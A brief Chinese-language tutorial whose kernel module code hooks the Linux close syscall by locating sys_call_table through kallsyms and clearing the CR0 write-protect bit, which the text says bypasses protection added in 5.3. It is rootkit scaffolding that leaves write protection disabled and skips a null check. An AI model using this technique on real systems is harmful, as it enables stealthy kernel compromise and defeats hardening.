1.通过kallsyms方式
基于Linux 5.0/Linux5.3 的X86-64系统.
1. 通过kallsyms_lookup_name查找sys_call_table地址.
2. 关闭写保护
3. 修改sys_call_table
Linux5.0上直接调用write_cr0接口,能够顺利的修改CR0寄存器,而内核版本更新到Linux5.3以后,发现对CR0的修改进行了保护,所以这里需要自定义write_cr0的实现,直接从Linux5.0中把相关代码静态编译进入模块中.这样也可以绕过对CR0的保护.
#include<linux/module.h>
#include<linux/printk.h>
#include<linux/kobject.h>
#include<linux/kernel.h>
#include<asm/unistd_64.h>
#include<linux/syscalls.h>
#include<linux/delay.h>
#include<linux/kallsyms.h>
#include<asm/syscall.h>
#include<asm/paravirt.h>#include <asm/nops.h>
static unsigned long __lkm_order;static inline unsigned long lkm_read_cr0(void)
{unsigned long val;asm volatile("mov %%cr0,%0\n\t" : "=r" (val), "=m" (__lkm_order));return val;
}static inline void lkm_write_cr0(unsigned long val)
{asm volatile("mov %0,%%cr0": : "r" (val), "m" (__lkm_order));
}long (*fake_ptr)(const struct pt_regs*);long fake_close(const struct pt_regs* regs)
{printk(KERN_ERR"fake close+++++\n");return fake_ptr(regs);
}
void disable_write_protection(void)
{unsigned long cr0 = lkm_read_cr0();clear_bit(16, &cr0);lkm_write_cr0(cr0);
}
void
enable_write_protection(void)
{unsigned long cr0 = lkm_read_cr0();set_bit(16, &cr0);lkm_write_cr0(cr0);
}void get_sys_call_table(void)
{unsigned long sys_close = 0;unsigned long *call_table = 0;call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");printk("call_table:%lx",call_table);if(call_table)sys_close = call_table[__NR_close];fake_ptr = sys_close;disable_write_protection();call_table[__NR_close]=fake_close ; printk("fake_close:%lx,sys_close:%lx,table:%lx",(unsigned long)fake_close,sys_close,call_table[__NR_close]);}static int __init rootkits_lsm_init(void)
{get_sys_call_table(); return 0;
}static void __exit root_kits_lsm_uninit(void)
{printk("hell world lsm uninit\n");}module_init(rootkits_lsm_init);
module_exit(root_kits_lsm_uninit);
MODULE_LICENSE("GPL");